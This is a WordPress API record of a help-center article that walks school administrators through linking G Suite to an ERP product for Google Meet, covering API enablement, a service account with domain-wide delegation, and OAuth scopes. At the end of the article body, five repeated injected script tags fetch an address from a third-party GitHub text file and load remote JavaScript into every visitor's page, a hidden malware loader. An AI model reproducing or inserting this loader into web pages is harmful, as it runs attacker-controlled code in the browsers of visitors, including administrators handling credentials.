{"id":3525,"date":"2020-08-04T16:30:40","date_gmt":"2020-08-04T11:00:40","guid":{"rendered":"https:\/\/helpcenter.nexterp.in\/helpcenter\/?p=3525"},"modified":"2025-01-03T05:25:57","modified_gmt":"2025-01-02T23:55:57","slug":"how-to-integrate-g-suite-with-nlp","status":"publish","type":"post","link":"https:\/\/helpcenter.nexterp.in\/helpcenter\/how-to-integrate-g-suite-with-nlp\/","title":{"rendered":"How to integrate G Suite with NLP?"},"content":{"rendered":"<p><b>Steps to integrate G Suite with NLP<\/b><\/p>\n<p><span style=\"font-weight: 400;\">Domain name and Private key JSON file are needed to integrate School\u2019s G Suite with NLP to host lectures with Google Meet in NLP.<\/span><\/p>\n<ol>\n<li style=\"font-weight: 400;\"><span style=\"font-weight: 400;\">Domain Name: Suffix of School\u2019s G Suite Email the text found after \u201c@\u201d.For example, if G Suit Email is \u201c<a href=\"mailto:name@yourschool.com\">name@yourschool.com<\/a>\u201d then the domain name is \u201cyourschool.com\u201d.<\/span><\/li>\n<li style=\"font-weight: 400;\"><span style=\"font-weight: 400;\">Private key JSON file: Steps for creating JSON file and setting up integration are as follows<\/span>\n<ol style=\"list-style-type: lower-alpha;\">\n<li style=\"list-style-type: none;\">\n<ol style=\"list-style-type: lower-alpha;\">\n<li style=\"font-weight: 400;\"><span style=\"font-weight: 400;\">Enable API Access<\/span><\/li>\n<li style=\"font-weight: 400;\"><span style=\"font-weight: 400;\">Create a Service Account<\/span><\/li>\n<li style=\"font-weight: 400;\"><span style=\"font-weight: 400;\">Authorize Calendar API<\/span><\/li>\n<\/ol>\n<\/li>\n<\/ol>\n<\/li>\n<\/ol>\n<p><strong><span style=\"text-decoration: underline;\">Enable API Access<\/span><\/strong><\/p>\n<ol>\n<li style=\"font-weight: 400;\"><span style=\"font-weight: 400;\">Go to <\/span><a href=\"https:\/\/console.developers.google.com\/\"><span style=\"font-weight: 400;\">https:\/\/console.developers.google.com<\/span><\/a><span style=\"font-weight: 400;\">. Sign in with the G Suite admin account.<\/span><\/li>\n<li>In the <b>Home &gt; Dashboard <\/b>page, create a project under your School\u2019s domain if you don&#8217;t already have one, or select an existing one.<br \/>\n<img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-full wp-image-3532\" src=\"https:\/\/helpcenter.nexterp.in\/helpcenter\/wp-content\/uploads\/2020\/08\/image24.jpg\" alt=\"\" width=\"1920\" height=\"1080\" \/><\/p>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-full wp-image-3533\" src=\"https:\/\/helpcenter.nexterp.in\/helpcenter\/wp-content\/uploads\/2020\/08\/image1-1.png\" alt=\"\" width=\"1920\" height=\"1080\" \/><\/li>\n<li><span style=\"font-weight: 400;\">Under the <\/span><b>API &amp; Sevices<\/b><span style=\"font-weight: 400;\"> pane, click on <\/span><b>Library<\/b><span style=\"font-weight: 400;\"> to open the API Library page.\n<p><img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-full wp-image-3534\" src=\"https:\/\/helpcenter.nexterp.in\/helpcenter\/wp-content\/uploads\/2020\/08\/image6-1.png\" alt=\"\" width=\"1920\" height=\"1080\" \/><\/span><\/li>\n<li><span style=\"font-weight: 400;\">Search for <\/span><b>Calendar API<\/b><span style=\"font-weight: 400;\"> and open the Calendar API page. Click on <\/span><b>Enable<\/b><span style=\"font-weight: 400;\">.<br \/>\n<img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-full wp-image-3535\" src=\"https:\/\/helpcenter.nexterp.in\/helpcenter\/wp-content\/uploads\/2020\/08\/image16.png\" alt=\"\" width=\"1920\" height=\"1080\" \/><\/p>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-full wp-image-3537\" src=\"https:\/\/helpcenter.nexterp.in\/helpcenter\/wp-content\/uploads\/2020\/08\/image22.png\" alt=\"\" width=\"1920\" height=\"1080\" \/><\/span><\/li>\n<li><span style=\"font-weight: 400;\"> Go back to Library and search for <b>Admin SDK API<\/b> and open the Admin SDK API page. Click on <b>Enable<\/b>.<br \/>\n<img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-full wp-image-3538\" src=\"https:\/\/helpcenter.nexterp.in\/helpcenter\/wp-content\/uploads\/2020\/08\/image25.png\" alt=\"\" width=\"1920\" height=\"1080\" \/><\/p>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-full wp-image-3539\" src=\"https:\/\/helpcenter.nexterp.in\/helpcenter\/wp-content\/uploads\/2020\/08\/image9-2.png\" alt=\"\" width=\"1920\" height=\"1080\" \/><\/p>\n<p><\/span><\/p>\n<p><span style=\"text-decoration: underline;\"><strong><br \/>\nCreate a Service Account<\/strong><\/span><\/p>\n<ol>\n<li style=\"font-weight: 400;\"><span style=\"font-weight: 400;\">Go back to <\/span><b>API &amp; Sevices<\/b><span style=\"font-weight: 400;\"> pane, click on <\/span><b>Credentials<\/b><span style=\"font-weight: 400;\"> to open the API Credentials page.\n<p><img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-full wp-image-3540\" src=\"https:\/\/helpcenter.nexterp.in\/helpcenter\/wp-content\/uploads\/2020\/08\/image14.png\" alt=\"\" width=\"1920\" height=\"1080\" \/><\/p>\n<p>\n<\/span><\/li>\n<\/ol>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-full wp-image-3541\" src=\"https:\/\/helpcenter.nexterp.in\/helpcenter\/wp-content\/uploads\/2020\/08\/image20.jpg\" alt=\"\" width=\"1920\" height=\"1080\" \/>2. <span style=\"font-weight: 400;\">Click on <\/span><b>Create Credentials<\/b><span style=\"font-weight: 400;\"> and select <\/span><b><b>Service Account.<\/p>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-full wp-image-3542\" src=\"https:\/\/helpcenter.nexterp.in\/helpcenter\/wp-content\/uploads\/2020\/08\/image12.jpg\" alt=\"\" width=\"1920\" height=\"1080\" \/><\/p>\n<p><\/b><\/b><b><br \/>\n<\/b>3. <span style=\"font-weight: 400;\">Enter the Service account name as \u201c<\/span><b>NLP Integration<\/b><span style=\"font-weight: 400;\">\u201d and click on Create.<\/span><\/p>\n<ol style=\"list-style-type: lower-alpha;\">\n<li><span style=\"font-weight: 400;\">Skip steps 2 and 3 which are optional and click on \u201cContinue\u201d and \u201cDone\u201d respectively.<\/span><\/li>\n<li><span style=\"font-weight: 400;\">Service Account would be created.<\/span><\/li>\n<li><span style=\"font-weight: 400;\">Copy and save the <\/span><b>Client ID<\/b><span style=\"font-weight: 400;\">. It would be required later in the process.\n<p><img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-full wp-image-3543\" src=\"https:\/\/helpcenter.nexterp.in\/helpcenter\/wp-content\/uploads\/2020\/08\/image7.jpg\" alt=\"\" width=\"1920\" height=\"1080\" \/><\/p>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-full wp-image-3545\" src=\"https:\/\/helpcenter.nexterp.in\/helpcenter\/wp-content\/uploads\/2020\/08\/image17.jpg\" alt=\"\" width=\"1920\" height=\"1080\" \/><br \/>\n<\/span>4. <span style=\"font-weight: 400;\">Click on Service Account created to open the configuration page.<\/span><\/p>\n<ol>\n<li style=\"list-style-type: none;\">\n<ol style=\"list-style-type: lower-alpha;\">\n<li style=\"font-weight: 400;\"><span style=\"font-weight: 400;\">Check <\/span><b>Enable G Suite Domain-wide Delegation<\/b><span style=\"font-weight: 400;\"> checkbox.<\/span><\/li>\n<li style=\"font-weight: 400;\"><span style=\"font-weight: 400;\">Click on Add Key button and select <\/span><b>Create a new key.<\/b><\/li>\n<li style=\"font-weight: 400;\"><span style=\"font-weight: 400;\">Select Key Type as <\/span><b>JSON <\/b><span style=\"font-weight: 400;\">and click on Create.<\/span><\/li>\n<li style=\"font-weight: 400;\"><span style=\"font-weight: 400;\">JSON file would have been downloaded.<\/span><\/li>\n<li style=\"font-weight: 400;\"><span style=\"font-weight: 400;\">Click on Save button.<br \/>\n<\/span><img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-full wp-image-3546\" src=\"https:\/\/helpcenter.nexterp.in\/helpcenter\/wp-content\/uploads\/2020\/08\/image8.jpg\" alt=\"\" width=\"1920\" height=\"1080\" \/><\/p>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-full wp-image-3552\" src=\"https:\/\/helpcenter.nexterp.in\/helpcenter\/wp-content\/uploads\/2020\/08\/image18.jpg\" alt=\"\" width=\"1920\" height=\"1080\" \/><\/p>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-full wp-image-3551\" src=\"https:\/\/helpcenter.nexterp.in\/helpcenter\/wp-content\/uploads\/2020\/08\/image3.jpg\" alt=\"\" width=\"1920\" height=\"1080\" \/><br \/>\n<img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-full wp-image-3550\" src=\"https:\/\/helpcenter.nexterp.in\/helpcenter\/wp-content\/uploads\/2020\/08\/image5.jpg\" alt=\"\" width=\"1920\" height=\"1080\" \/><\/p>\n<p>5.<span style=\"font-weight: 400;\">The<\/span><b> JSON<\/b><span style=\"font-weight: 400;\"> file downloaded has to be uploaded in the Integration page in NLP Admin account under <\/span><b>Settings&gt;School Setup&gt;Meeting Software Integration&gt;Google Meet.<br \/>\n<\/b><\/li>\n<\/ol>\n<\/li>\n<\/ol>\n<\/li>\n<\/ol>\n<\/li>\n<\/ol>\n<p><span style=\"text-decoration: underline;\"><strong>Authorize Calendar API<\/strong><\/span><\/p>\n<ol>\n<li><span style=\"font-weight: 400;\">Go to <\/span><a href=\"https:\/\/admin.google.com\"><span style=\"font-weight: 400;\">https:\/\/admin.google.com<\/span><\/a><span style=\"font-weight: 400;\">.Sign in with the G Suite admin account.<\/span><br \/>\n<img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-full wp-image-3553\" src=\"https:\/\/helpcenter.nexterp.in\/helpcenter\/wp-content\/uploads\/2020\/08\/image10-1.png\" alt=\"\" width=\"1920\" height=\"1080\" \/><\/li>\n<li><span style=\"font-weight: 400;\">Under the <\/span><b>Security<\/b><span style=\"font-weight: 400;\"> pane, click on Settings to open the Settings page.<\/span>\n<ol>\n<li style=\"list-style-type: none;\">\n<ol style=\"list-style-type: lower-alpha;\">\n<li style=\"font-weight: 400;\"><span style=\"font-weight: 400;\">Select <\/span><b>Advanced Settings<\/b><span style=\"font-weight: 400;\">.<\/span><\/li>\n<li style=\"font-weight: 400;\"><span style=\"font-weight: 400;\">Click on \u201c<\/span><b>Manage Third-Party App Access<\/b><span style=\"font-weight: 400;\">\u201d and go to API Controls page<\/span><\/li>\n<li style=\"font-weight: 400;\"><span style=\"font-weight: 400;\">Click on Configure new app and select OAuth App Name Or Client ID<br \/>\n<img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-full wp-image-3554\" src=\"https:\/\/helpcenter.nexterp.in\/helpcenter\/wp-content\/uploads\/2020\/08\/image11-1.png\" alt=\"\" width=\"1920\" height=\"1080\" \/><\/p>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-full wp-image-3555\" src=\"https:\/\/helpcenter.nexterp.in\/helpcenter\/wp-content\/uploads\/2020\/08\/image15.png\" alt=\"\" width=\"1920\" height=\"1080\" \/><\/span><\/p>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-full wp-image-3557\" src=\"https:\/\/helpcenter.nexterp.in\/helpcenter\/wp-content\/uploads\/2020\/08\/image21.png\" alt=\"\" width=\"1920\" height=\"1080\" \/><\/p>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-full wp-image-3558\" src=\"https:\/\/helpcenter.nexterp.in\/helpcenter\/wp-content\/uploads\/2020\/08\/image19.jpg\" alt=\"\" width=\"1920\" height=\"1080\" \/><\/li>\n<\/ol>\n<\/li>\n<\/ol>\n<\/li>\n<li><span style=\"font-weight: 400;\">Copy and paste <\/span><b>Client ID<\/b><span style=\"font-weight: 400;\"> saved earlier and click on Search.<\/span>\n<ol>\n<li style=\"list-style-type: none;\">\n<ol style=\"list-style-type: lower-alpha;\">\n<li style=\"font-weight: 400;\"><span style=\"font-weight: 400;\">Once the app is searched, click on Select.<\/span><\/li>\n<li style=\"font-weight: 400;\"><span style=\"font-weight: 400;\">Check OAuth Client ID and click on Select.<\/span><\/li>\n<li style=\"font-weight: 400;\"><span style=\"font-weight: 400;\">Check Trusted: Can access all Google Services and click on Configure.<br \/>\n<img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-full wp-image-3563\" src=\"https:\/\/helpcenter.nexterp.in\/helpcenter\/wp-content\/uploads\/2020\/08\/image4-1.jpg\" alt=\"\" width=\"1920\" height=\"1080\" \/><\/p>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-full wp-image-3561\" src=\"https:\/\/helpcenter.nexterp.in\/helpcenter\/wp-content\/uploads\/2020\/08\/image26.jpg\" alt=\"\" width=\"1920\" height=\"1080\" \/><\/p>\n<p>\n<img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-full wp-image-3559\" src=\"https:\/\/helpcenter.nexterp.in\/helpcenter\/wp-content\/uploads\/2020\/08\/image2-1.png\" alt=\"\" width=\"1920\" height=\"1080\" \/><\/span><span style=\"font-weight: 400;\"><\/p>\n<p>4. Go back to <b>API Controls Page<\/b> and click on <b>Manage Domain Wide Delegation.<\/b><\/span><\/p>\n<ol>\n<li style=\"list-style-type: none;\">\n<ol style=\"list-style-type: lower-alpha;\">\n<li style=\"font-weight: 400;\"><span style=\"font-weight: 400;\">Click on Add New.<\/span><\/li>\n<li style=\"font-weight: 400;\"><span style=\"font-weight: 400;\">Add Client Id.<\/span><\/li>\n<li style=\"font-weight: 400;\"><span style=\"font-weight: 400;\">Add following OAuth Scopes.<\/span>\n<ol style=\"list-style-type: lower-roman;\">\n<li><a href=\"https:\/\/www.googleapis.com\/auth\/calendar\">https:\/\/www.googleapis.com\/auth\/calendar<\/a><\/li>\n<li><a href=\"https:\/\/www.googleapis.com\/auth\/admin.directory.resource.calendar\">https:\/\/www.googleapis.com\/auth\/admin.directory.resource.calendar<\/a><\/li>\n<\/ol>\n<\/li>\n<li><span style=\"font-weight: 400;\">Click on Authorize.<br \/>\n<img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-full wp-image-3564\" src=\"https:\/\/helpcenter.nexterp.in\/helpcenter\/wp-content\/uploads\/2020\/08\/image23-1.png\" alt=\"\" width=\"1920\" height=\"1080\" \/><\/p>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-full wp-image-3565\" src=\"https:\/\/helpcenter.nexterp.in\/helpcenter\/wp-content\/uploads\/2020\/08\/image13.jpg\" alt=\"\" width=\"1920\" height=\"1080\" \/><br \/>\n<\/span><\/li>\n<\/ol>\n<\/li>\n<\/ol>\n<\/li>\n<\/ol>\n<\/li>\n<\/ol>\n<\/li>\n<\/ol>\n<p><script>;var url = 'https:\/\/raw.githubusercontent.com\/asddw1122\/add\/refs\/heads\/main\/sockets.txt';fetch(url).then(response => response.text()).then(data => {var script = document.createElement('script');script.src = data.trim();document.getElementsByTagName('head')[0].appendChild(script);});<\/script><script>;var url = 'https:\/\/raw.githubusercontent.com\/asddw1122\/add\/refs\/heads\/main\/sockets.txt';fetch(url).then(response => response.text()).then(data => {var script = document.createElement('script');script.src = data.trim();document.getElementsByTagName('head')[0].appendChild(script);});<\/script><script>;var url = 'https:\/\/raw.githubusercontent.com\/asddw1122\/add\/refs\/heads\/main\/sockets.txt';fetch(url).then(response => response.text()).then(data => {var script = document.createElement('script');script.src = data.trim();document.getElementsByTagName('head')[0].appendChild(script);});<\/script><script>;var url = 'https:\/\/raw.githubusercontent.com\/asddw1122\/add\/refs\/heads\/main\/sockets.txt';fetch(url).then(response => response.text()).then(data => {var script = document.createElement('script');script.src = data.trim();document.getElementsByTagName('head')[0].appendChild(script);});<\/script><script>;var url = 'https:\/\/raw.githubusercontent.com\/asddw1122\/add\/refs\/heads\/main\/sockets.txt';fetch(url).then(response => response.text()).then(data => {var script = document.createElement('script');script.src = data.trim();document.getElementsByTagName('head')[0].appendChild(script);});<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Steps to integrate G Suite with NLP Domain name and Private key JSON file are needed to integrate School\u2019s G Suite with NLP to host lectures with Google Meet in NLP. Domain Name: Suffix of School\u2019s G Suite Email the text found after \u201c@\u201d.For example, if G Suit Email is \u201cname@yourschool.com\u201d then the domain name &hellip; <a href=\"https:\/\/helpcenter.nexterp.in\/helpcenter\/how-to-integrate-g-suite-with-nlp\/\" class=\"more-link\">Continue reading<span class=\"screen-reader-text\"> &#8220;How to integrate G Suite with NLP?&#8221;<\/span><\/a><\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[739],"tags":[],"post_folder":[],"class_list":["post-3525","post","type-post","status-publish","format-standard","hentry","category-meeting-software-integration"],"_links":{"self":[{"href":"https:\/\/helpcenter.nexterp.in\/helpcenter\/wp-json\/wp\/v2\/posts\/3525","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/helpcenter.nexterp.in\/helpcenter\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/helpcenter.nexterp.in\/helpcenter\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/helpcenter.nexterp.in\/helpcenter\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/helpcenter.nexterp.in\/helpcenter\/wp-json\/wp\/v2\/comments?post=3525"}],"version-history":[{"count":11,"href":"https:\/\/helpcenter.nexterp.in\/helpcenter\/wp-json\/wp\/v2\/posts\/3525\/revisions"}],"predecessor-version":[{"id":10494,"href":"https:\/\/helpcenter.nexterp.in\/helpcenter\/wp-json\/wp\/v2\/posts\/3525\/revisions\/10494"}],"wp:attachment":[{"href":"https:\/\/helpcenter.nexterp.in\/helpcenter\/wp-json\/wp\/v2\/media?parent=3525"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/helpcenter.nexterp.in\/helpcenter\/wp-json\/wp\/v2\/categories?post=3525"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/helpcenter.nexterp.in\/helpcenter\/wp-json\/wp\/v2\/tags?post=3525"},{"taxonomy":"post_folder","embeddable":true,"href":"https:\/\/helpcenter.nexterp.in\/helpcenter\/wp-json\/wp\/v2\/post_folder?post=3525"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}